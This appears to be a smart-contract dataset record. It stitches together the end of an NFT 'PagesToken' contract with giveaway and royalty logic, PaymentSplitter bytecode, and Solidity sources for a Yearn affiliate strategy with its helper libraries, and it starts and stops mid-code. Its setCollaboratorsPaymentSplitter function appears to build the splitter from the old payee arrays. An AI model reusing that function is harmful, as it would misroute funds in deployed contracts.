supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable) returns (bool) { if(interfaceId == LibRoyaltiesV2._INTERFACE_ID_ROYALTIES) { return true; } if(interfaceId == _INTERFACE_ID_ERC2981) { return true; } return super.supportsInterface(interfaceId); } function setBaseURI(string memory baseURI) public onlyOwner { _currentBaseURI = baseURI; } function setMintingPrice(uint256 newPrice) public onlyOwner { _mintingPrice = newPrice; } function getMintingPrice() public view returns (uint) { return _mintingPrice; } function _baseURI() internal view virtual override returns (string memory) { return _currentBaseURI; } function getChapter(uint page) public pure returns (uint) { require(1 <= page && page <= 100, "PagesToken: page must be between 1 and 100"); return (uint(page-1)/20) + 1; } /** * @dev Change Collector for a tokenID. */ function changeCollector(address from, address to, uint256 tokenId) internal { // this is to skip on minting if (from != address(0)){ require(ownerOf(tokenId) == from, "CollectorsGiveawaySplitter: from account is not the owner for tokenId"); // if tokenId has balance, pay it out then emit CollectorChanged if (_pendingGiveaway(tokenId) != 0){ release(tokenId); } } emit CollectorChanged(from, to, tokenId); } function ReleaseMyGiveaway() public virtual { release(payable(_msgSender())); } function release(address payable account) public virtual { uint256 _ownedTokens = balanceOf(account); require(_ownedTokens > 0, "CollectorsGiveawaySplitter: account has no tokens"); uint256 totalGiveaway = _pendingGiveaway(account); require(totalGiveaway > 0, "GiveawaySplitter: account is not due giveaway"); Address.sendValue(account, totalGiveaway); _totalReleased += totalGiveaway; for (uint256 i = 0; i < (_ownedTokens ); i++) { uint currentToken = tokenOfOwnerByIndex(account, i); uint256 giveawayForToken = _pendingGiveaway(currentToken); _released[currentToken] += giveawayForToken; } emit GiveawayReleased(account, totalGiveaway); } function release(uint256 tokenId) public virtual { address tokenOwner = ownerOf(tokenId); require(tokenOwner != address(0), "CollectorsGiveawaySplitter: tokenId owner is the zero address"); uint256 _tokenPendingGiveaways = _pendingGiveaway(tokenId); require(_tokenPendingGiveaways > 0, "CollectorsGiveawaySplitter: tokenId is not due any giveaways"); Address.sendValue(payable(tokenOwner), _tokenPendingGiveaways); _totalReleased += _tokenPendingGiveaways; _released[tokenId]+= _tokenPendingGiveaways; emit GiveawayReleased(tokenOwner, _tokenPendingGiveaways); } function _pendingGiveaway(uint256 tokenId) private view returns (uint256) { return (address(this).balance + totalReleased()) / maxSupply() - _released[tokenId]; } function PendingGiveaway() public view returns (uint256) { uint256 _ownedTokens = balanceOf(_msgSender()); require(_ownedTokens > 0, "CollectorsGiveawaySplitter: account has no tokens"); return _pendingGiveaway(_msgSender()); } function _pendingGiveaway(address account) private view returns (uint256) { uint256 _ownedTokens = balanceOf(account); uint256 totalGiveaway = 0; for (uint256 i = 0; i < (_ownedTokens); i++) { uint currentToken = tokenOfOwnerByIndex(account, i); uint256 giveawayForToken = _pendingGiveaway(currentToken); totalGiveaway += giveawayForToken; } return totalGiveaway; } function totalReleased() public view returns (uint256) { return _totalReleased; } function setCollaboratorsPaymentSplitter(address[] memory collaboratorsAddress, uint[] memory collaboratorsSplit) public onlyOwner () { _collaboratorsPaymentSplitter = new CollaboratorsPaymentSplitter(_collaboratorsAddress, _collaboratorsSplit); emit CollaboratorsChanged(_collaboratorsAddress, collaboratorsAddress, _collaboratorsSplit, collaboratorsSplit); _collaboratorsAddress = collaboratorsAddress; _collaboratorsSplit = collaboratorsSplit; } function getCollaboratorsPaymentSplitter() public view returns (address) { return address(_collaboratorsPaymentSplitter); } function id(uint page, uint nOfHundred) internal pure returns (uint) { require(1 <= page && page <= 100 && nOfHundred > 0 && nOfHundred < 101, "PagesToken: page must be between 1 and 100 and nOfHundred 1-100"); return (uint((page * 100) - (100 - nOfHundred))); } function ownerOf(uint page, uint nOfHundred) public view returns (address) { require(1 <= page && page <= 100 && nOfHundred > 0 && nOfHundred < 101, "PagesToken: page must be between 1 and 100 and nOfHundred 1-100"); return ownerOf(id(page, nOfHundred)); } function openChapterForMinting(uint chapter) public onlyOwner { require(1 <= chapter && chapter <= 5 , "PagesToken: chapter must be between 1 and 5"); require(_chapterOpenForMinting[chapter] == false , "PagesToken: chapter is already opened"); if (chapter > 1 ){ require(_chapterOpenForMinting[chapter-1] == true , "PagesToken: previous chapter is not opened"); } _chapterOpenForMinting[chapter] = true; _maxSupply = chapter * 2000; } function maxSupply() public view returns (uint) { return _maxSupply; } function canMintPage(uint page) public view returns (bool) { require(1 <= page && page <= 100, "PagesToken: page must be between 1 and 100"); return _chapterOpenForMinting[getChapter(page)] && (timesMinted(page) < 100); } function timesMinted(uint page) public view returns (uint) { require(1 <= page && page <= 100, "page must be between 1 and 100"); return _timesMinted[page].current(); } function _setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) internal { LibPart.Part[] memory _royalties = new LibPart.Part[](1); _royalties[0].value = _percentageBasisPoints; _royalties[0].account = _royaltiesReceipientAddress; _saveRoyalties(_tokenId, _royalties); } function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public onlyOwner { _setRoyalties(_tokenId, _royaltiesReceipientAddress, _percentageBasisPoints); } function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) { LibPart.Part[] memory _royalties = royalties[_tokenId]; if(_royalties.length > 0) { return (_royalties[0].account, (_salePrice * _royalties[0].value)/10000); } return (address(0), 0); } } contract CollaboratorsPaymentSplitter is PaymentSplitter { constructor (address[] memory _payees, uint256[] memory _shares) PaymentSplitter(_payees, _shares) payable {} }
0x60806040526004361061008a5760003560e01c80638b83209b116100595780638b83209b146101845780639852595c146101bc578063ce7c2ac2146101f2578063d79779b214610228578063e33b7de31461025e57600080fd5b806319165587146100d85780633a98ef39146100fa578063406072a91461011e57806348b750441461016457600080fd5b366100d3577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b3480156100e457600080fd5b506100f86100f336600461093d565b610273565b005b34801561010657600080fd5b506000545b6040519081526020015b60405180910390f35b34801561012a57600080fd5b5061010b61013936600461097c565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561017057600080fd5b506100f861017f36600461097c565b6103aa565b34801561019057600080fd5b506101a461019f3660046109b5565b610592565b6040516001600160a01b039091168152602001610115565b3480156101c857600080fd5b5061010b6101d736600461093d565b6001600160a01b031660009081526003602052604090205490565b3480156101fe57600080fd5b5061010b61020d36600461093d565b6001600160a01b031660009081526002602052604090205490565b34801561023457600080fd5b5061010b61024336600461093d565b6001600160a01b031660009081526005602052604090205490565b34801561026a57600080fd5b5060015461010b565b6001600160a01b0381166000908152600260205260409020546102b15760405162461bcd60e51b81526004016102a890610a36565b60405180910390fd5b60006102bc60015490565b6102c69047610ac7565b905060006102f383836102ee866001600160a01b031660009081526003602052604090205490565b6105c2565b9050806103125760405162461bcd60e51b81526004016102a890610a7c565b6001600160a01b0383166000908152600360205260408120805483929061033a908490610ac7565b9250508190555080600160008282546103539190610ac7565b9091555061036390508382610607565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b6001600160a01b0381166000908152600260205260409020546103df5760405162461bcd60e51b81526004016102a890610a36565b6001600160a01b0382166000908152600560205260408120546040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561043757600080fd5b505afa15801561044b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046f91906109ce565b6104799190610ac7565b905060006104b283836102ee87876001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b9050806104d15760405162461bcd60e51b81526004016102a890610a7c565b6001600160a01b03808516600090815260066020908152604080832093871683529290529081208054839290610508908490610ac7565b90915550506001600160a01b03841660009081526005602052604081208054839290610535908490610ac7565b909155506105469050848483610725565b604080516001600160a01b038581168252602082018490528616917f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a910160405180910390a250505050565b6000600482815481106105a7576105a7610b7d565b6000918252602090912001546001600160a01b031692915050565b600080546001600160a01b0385168252600260205260408220548391906105e99086610b01565b6105f39190610adf565b6105fd9190610b20565b90505b9392505050565b804710156106575760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e636500000060448201526064016102a8565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146106a4576040519150601f19603f3d011682016040523d82523d6000602084013e6106a9565b606091505b50509050806107205760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274656400000000000060648201526084016102a8565b505050565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656490840152610720928692916000916107b5918516908490610832565b80519091501561072057808060200190518101906107d3919061095a565b6107205760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016102a8565b60606105fd848460008585843b61088b5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064016102a8565b600080866001600160a01b031685876040516108a791906109e7565b60006040518083038185875af1925050503d80600081146108e4576040519150601f19603f3d011682016040523d82523d6000602084013e6108e9565b606091505b50915091506108f9828286610904565b979650505050505050565b60608315610913575081610600565b8251156109235782518084602001fd5b8160405162461bcd60e51b81526004016102a89190610a03565b60006020828403121561094f57600080fd5b813561060081610b93565b60006020828403121561096c57600080fd5b8151801515811461060057600080fd5b6000806040838503121561098f57600080fd5b823561099a81610b93565b915060208301356109aa81610b93565b809150509250929050565b6000602082840312156109c757600080fd5b5035919050565b6000602082840312156109e057600080fd5b5051919050565b600082516109f9818460208701610b37565b9190910192915050565b6020815260008251806020840152610a22816040850160208701610b37565b601f01601f19169190910160400192915050565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b60008219821115610ada57610ada610b67565b500190565b600082610afc57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615610b1b57610b1b610b67565b500290565b600082821015610b3257610b32610b67565b500390565b60005b83811015610b52578181015183820152602001610b3a565b83811115610b61576000848401525b50505050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b0381168114610ba857600080fd5b5056fea264697066735822122039dfdc757a4cd5453dfa186a8180ec5bde68022f20047284e50732e5f40404a564736f6c63430008070033
[ 7, 5 ]
0xF1b5cE1ab131eFA944543291a3e6Dc8F268780e0
// SPDX-License-Identifier: MIT pragma solidity ^0.6.7; import "../strategy-yearn-affiliate.sol"; contract StrategyYearnCrvLusd is StrategyYearnAffiliate { // Token addresses address public crv_lusd_lp = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA; address public yearn_registry = 0x3eE41C098f9666ed2eA246f4D2558010e59d63A0; constructor( address _governance, address _strategist, address _controller, address _timelock ) public StrategyYearnAffiliate( crv_lusd_lp, yearn_registry, _governance, _strategist, _controller, _timelock ) {} } pragma solidity ^0.6.7; import "../lib/yearn-affiliate-wrapper.sol"; import "../interfaces/controller.sol"; import {ERC20} from "../lib/erc20.sol"; contract StrategyYearnAffiliate is YearnAffiliateWrapper { // User accounts address public governance; address public controller; address public strategist; address public timelock; address public want; string public name; modifier onlyGovernance() { require(msg.sender == governance); _; } // **** Getters **** constructor( address _want, address _yearnRegistry, address _governance, address _strategist, address _controller, address _timelock ) public YearnAffiliateWrapper(_want, _yearnRegistry) { require(_want != address(0)); require(_governance != address(0)); require(_strategist != address(0)); require(_controller != address(0)); require(_timelock != address(0)); want = _want; governance = _governance; strategist = _strategist; controller = _controller; timelock = _timelock; name = string(abi.encodePacked("y", ERC20(_want).symbol(), " Affiliate Strategy")); } function balanceOfWant() public view returns (uint256) { return 0; // IERC20(want).balanceOf(address(this)); } function balanceOf() public view returns (uint256) { return totalVaultBalance(address(this)); } function balanceOfPool() public view returns (uint256) { return balanceOf(); } function getName() external returns (string memory) { return name; } // **** Setters **** function setGovernance(address _governance) external { require(msg.sender == governance, "!governance"); governance = _governance; } function setController(address _controller) external { require(msg.sender == timelock, "!timelock"); controller = _controller; } function deposit() public { require(msg.sender == controller, "!controller"); uint256 _want = IERC20(want).balanceOf(address(this)); _deposit(address(this), address(this), _want, false); } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); balance = _asset.balanceOf(address(this)); _asset.safeTransfer(controller, balance); } // Withdraw partial funds, normally used with a jar withdrawal function withdraw(uint256 _amount) external { require(msg.sender == controller, "!controller"); _withdrawSome(_amount); uint256 _balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, _balance); } // Withdraw funds, used to swap between strategies function withdrawForSwap(uint256 _amount) external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawSome(_amount); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); IERC20(want).safeTransfer(_jar, balance); } // Withdraw all funds, normally used when migrating strategies function withdrawAll() external returns (uint256 balance) { require(msg.sender == controller, "!controller"); _withdrawSome(balanceOf()); balance = IERC20(want).balanceOf(address(this)); address _jar = IController(controller).jars(address(want)); require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds IERC20(want).safeTransfer(_jar, balance); } function _withdrawSome(uint256 _amount) internal returns (uint256) { return _withdraw(address(this), address(this), _amount, true); // `true` = withdraw from `bestVault` } // **** Emergency functions **** function execute(address _target, bytes memory _data) public payable returns (bytes memory response) { require(msg.sender == timelock, "!timelock"); require(_target != address(0), "!target"); // call contract in current context assembly { let succeeded := delegatecall( sub(gas(), 5000), _target, add(_data, 0x20), mload(_data), 0, 0 ) let size := returndatasize() response := mload(0x40) mstore( 0x40, add(response, and(add(add(size, 0x20), 0x1f), not(0x1f))) ) mstore(response, size) returndatacopy(add(response, 0x20), 0, size) switch iszero(succeeded) case 1 { // throw if delegatecall failed revert(add(response, 0x20), size) } } } function migrate() external onlyGovernance returns (uint256) { return _migrate(address(this)); } function migrate(uint256 amount) external onlyGovernance returns (uint256) { return _migrate(address(this), amount); } function migrate(uint256 amount, uint256 maxMigrationLoss) external onlyGovernance returns (uint256) { return _migrate(address(this), amount, maxMigrationLoss); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.6.7; pragma experimental ABIEncoderV2; import {IERC20, SafeERC20} from "./erc20.sol"; import {Math} from "./math.sol"; import {SafeMath} from "./safe-math.sol"; interface RegistryAPI { function governance() external view returns (address); function latestVault(address token) external view returns (address); function numVaults(address token) external view returns (uint256); function vaults(address token, uint256 deploymentId) external view returns (address); } interface VaultAPI is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); // function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } abstract contract YearnAffiliateWrapper { using Math for uint256; using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public token; // Reduce number of external calls (SLOADs stay the same) VaultAPI[] private _cachedVaults; RegistryAPI public registry; // ERC20 Unlimited Approvals (short-circuits VaultAPI.transferFrom) uint256 constant UNLIMITED_APPROVAL = type(uint256).max; // Sentinal values used to save gas on deposit/withdraw/migrate // NOTE: DEPOSIT_EVERYTHING == WITHDRAW_EVERYTHING == MIGRATE_EVERYTHING uint256 constant DEPOSIT_EVERYTHING = type(uint256).max; uint256 constant WITHDRAW_EVERYTHING = type(uint256).max; uint256 constant MIGRATE_EVERYTHING = type(uint256).max; // VaultsAPI.depositLimit is unlimited uint256 constant UNCAPPED_DEPOSITS = type(uint256).max; constructor(address _token, address _registry) public { // Recommended to use a token with a `Registry.latestVault(_token) != address(0)` token = IERC20(_token); // Recommended to use `v2.registry.ychad.eth` registry = RegistryAPI(_registry); } /** * @notice * Used to update the yearn registry. * @param _registry The new _registry address. */ function setRegistry(address _registry) external { require(msg.sender == registry.governance()); // In case you want to override the registry instead of re-deploying registry = RegistryAPI(_registry); // Make sure there's no change in governance // NOTE: Also avoid bricking the wrapper from setting a bad registry require(msg.sender == registry.governance()); } /** * @notice * Used to get the most revent vault for the token using the registry. * @return An instance of a VaultAPI */ function bestVault() public virtual view returns (VaultAPI) { return VaultAPI(registry.latestVault(address(token))); } /** * @notice * Used to get all vaults from the registery for the token * @return An array containing instances of VaultAPI */ function allVaults() public virtual view returns (VaultAPI[] memory) { uint256 cache_length = _cachedVaults.length; uint256 num_vaults = registry.numVaults(address(token)); // Use cached if (cache_length == num_vaults) { return _cachedVaults; } VaultAPI[] memory vaults = new VaultAPI[](num_vaults); for (uint256 vault_id = 0; vault_id < cache_length; vault_id++) { vaults[vault_id] = _cachedVaults[vault_id]; } for (uint256 vault_id = cache_length; vault_id < num_vaults; vault_id++) { vaults[vault_id] = VaultAPI(registry.vaults(address(token), vault_id)); } return vaults; } function _updateVaultCache(VaultAPI[] memory vaults) internal { // NOTE: even though `registry` is update-able by Yearn, the intended behavior // is that any future upgrades to the registry will replay the version // history so that this cached value does not get out of date. if (vaults.length > _cachedVaults.length) { _cachedVaults = vaults; } } /** * @notice * Used to get the balance of an account accross all the vaults for a token. * @dev will be used to get the wrapper balance using totalVaultBalance(address(this)). * @param account The address of the account. * @return balance of token for the account accross all the vaults. */ function totalVaultBalance(address account) public view returns (uint256 balance) { VaultAPI[] memory vaults = allVaults(); for (uint256 id = 0; id < vaults.length; id++) { balance = balance.add(vaults[id].balanceOf(account).mul(vaults[id].pricePerShare()).div(10**uint256(vaults[id].decimals()))); } } /** * @notice * Used to get the TVL on the underlying vaults. * @return assets the sum of all the assets managed by the underlying vaults. */ function totalAssets() public view returns (uint256 assets) { VaultAPI[] memory vaults = allVaults(); for (uint256 id = 0; id < vaults.length; id++) { assets = assets.add(vaults[id].totalAssets()); } } function _deposit( address depositor, address receiver, uint256 amount, // if `MAX_UINT256`, just deposit everything bool pullFunds // If true, funds need to be pulled from `depositor` via `transferFrom` ) internal returns (uint256 deposited) { VaultAPI _bestVault = bestVault(); if (pullFunds) { if (amount != DEPOSIT_EVERYTHING) { token.safeTransferFrom(depositor, address(this), amount); } else { token.safeTransferFrom(depositor, address(this), token.balanceOf(depositor)); } } if (token.allowance(address(this), address(_bestVault)) < amount) { token.safeApprove(address(_bestVault), 0); // Avoid issues with some tokens requiring 0 token.safeApprove(address(_bestVault), UNLIMITED_APPROVAL); // Vaults are trusted } // Depositing returns number of shares deposited // NOTE: Shortcut here is assuming the number of tokens deposited is equal to the // number of shares credited, which helps avoid an occasional multiplication // overflow if trying to adjust the number of shares by the share price. uint256 beforeBal = token.balanceOf(address(this)); if (receiver != address(this)) { _bestVault.deposit(amount, receiver); } else if (amount != DEPOSIT_EVERYTHING) { _bestVault.deposit(amount); } else { _bestVault.deposit(); } uint256 afterBal = token.balanceOf(address(this)); deposited = beforeBal.sub(afterBal); // `receiver` now has shares of `_bestVault` as balance, converted to `token` here // Issue a refund if not everything was deposited if (depositor != address(this) && afterBal > 0) token.safeTransfer(depositor, afterBal); } function _withdraw( address sender, address receiver, uint256 amount, // if `MAX_UINT256`, just withdraw everything bool withdrawFromBest // If true, also withdraw from `_bestVault` ) internal returns (uint256 withdrawn) { VaultAPI _bestVault = bestVault(); VaultAPI[] memory vaults = allVaults(); _updateVaultCache(vaults); // NOTE: This loop will attempt to withdraw from each Vault in `allVaults` that `sender` // is deposited in, up to `amount` tokens. The withdraw action can be expensive, // so it if there is a denial of service issue in withdrawing, the downstream usage // of this wrapper contract must give an alternative method of withdrawing using // this function so that `amount` is less than the full amount requested to withdraw // (e.g. "piece-wise withdrawals"), leading to less loop iterations such that the // DoS issue is mitigated (at a tradeoff of requiring more txns from the end user). for (uint256 id = 0; id < vaults.length; id++) { if (!withdrawFromBest && vaults[id] == _bestVault) { continue; // Don't withdraw from the best } // Start with the total shares that `sender` has uint256 availableShares = vaults[id].balanceOf(sender); // Restrict by the allowance that `sender` has to this contract // NOTE: No need for allowance check if `sender` is this contract if (sender != address(this)) { availableShares = Math.min(availableShares, vaults[id].allowance(sender, address(this))); } // Limit by maximum withdrawal size from each vault availableShares = Math.min(availableShares, vaults[id].maxAvailableShares()); if (availableShares > 0) { // Intermediate step to move shares to this contract before withdrawing // NOTE: No need for share transfer if this contract is `sender` if (sender != address(this)) vaults[id].transferFrom(sender, address(this), availableShares); if (amount != WITHDRAW_EVERYTHING) { // Compute amount to withdraw fully to satisfy the request uint256 estimatedShares = amount .sub(withdrawn) // NOTE: Changes every iteration .mul(10**uint256(vaults[id].decimals())) .div(vaults[id].pricePerShare()); // NOTE: Every Vault is different // Limit amount to withdraw to the maximum made available to this contract // NOTE: Avoid corner case where `estimatedShares` isn't precise enough // NOTE: If `0 < estimatedShares < 1` but `availableShares > 1`, this will withdraw more than necessary if (estimatedShares > 0 && estimatedShares < availableShares) { withdrawn = withdrawn.add(vaults[id].withdraw(estimatedShares)); } else { withdrawn = withdrawn.add(vaults[id].withdraw(availableShares)); } } else { withdrawn = withdrawn.add(vaults[id].withdraw()); } // Check if we have fully satisfied the request // NOTE: use `amount = WITHDRAW_EVERYTHING` for withdrawing everything if (amount <= withdrawn) break; // withdrawn as much as we needed } } // If we have extra, deposit back into `_bestVault` for `sender` // NOTE: Invariant is `withdrawn <= amount` if (withdrawn > amount) { // Don't forget to approve the deposit if (token.allowance(address(this), address(_bestVault)) < withdrawn.sub(amount)) { token.safeApprove(address(_bestVault), UNLIMITED_APPROVAL); // Vaults are trusted } _bestVault.deposit(withdrawn.sub(amount), sender); withdrawn = amount; } // `receiver` now has `withdrawn` tokens as balance if (receiver != address(this)) token.safeTransfer(receiver, withdrawn); } function _migrate(address account) internal returns (uint256) { return _migrate(account, MIGRATE_EVERYTHING); } function _migrate(address account, uint256 amount) internal returns (uint256) { // NOTE: In practice, it was discovered that <50 was the maximum we've see for this variance return _migrate(account, amount, 0); } function _migrate( address account, uint256 amount, uint256 maxMigrationLoss ) internal returns (uint256 migrated) { VaultAPI _bestVault = bestVault(); // NOTE: Only override if we aren't migrating everything uint256 _depositLimit = _bestVault.depositLimit(); uint256 _totalAssets = _bestVault.totalAssets(); if (_depositLimit <= _totalAssets) return 0; // Nothing to migrate (not a failure) uint256 _amount = amount; if (_depositLimit < UNCAPPED_DEPOSITS && _amount < WITHDRAW_EVERYTHING) { // Can only deposit up to this amount uint256 _depositLeft = _depositLimit.sub(_totalAssets); if (_amount > _depositLeft) _amount = _depositLeft; } if (_amount > 0) { // NOTE: `false` = don't withdraw from `_bestVault` uint256 withdrawn = _withdraw(account, address(this), _amount, false); if (withdrawn == 0) return 0; // Nothing to migrate (not a failure) // NOTE: `false` = don't do `transferFrom` because it's already local migrated = _deposit(address(this), account, withdrawn, false); // NOTE: Due to the precision loss of certain calculations, there is a small inefficency // on how migrations are calculated, and this could lead to a DoS issue. Hence, this // value is made to be configurable to allow the user to specify how much is acceptable require(withdrawn.sub(migrated) <= maxMigrationLoss); } // else: nothing to migrate! (not a failure) } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; interface IController { function jars(address) external view returns (address); function rewards() external view returns (address); function devfund() external view returns (address); function treasury() external view returns (address); function balanceOf(address) external view returns (uint256); function withdraw(address, uint256) external; function earn(address, uint256) external; } // File: contracts/GSN/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "./safe-math.sol"; import "./context.sol"; // File: contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/utils/Address.sol /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * 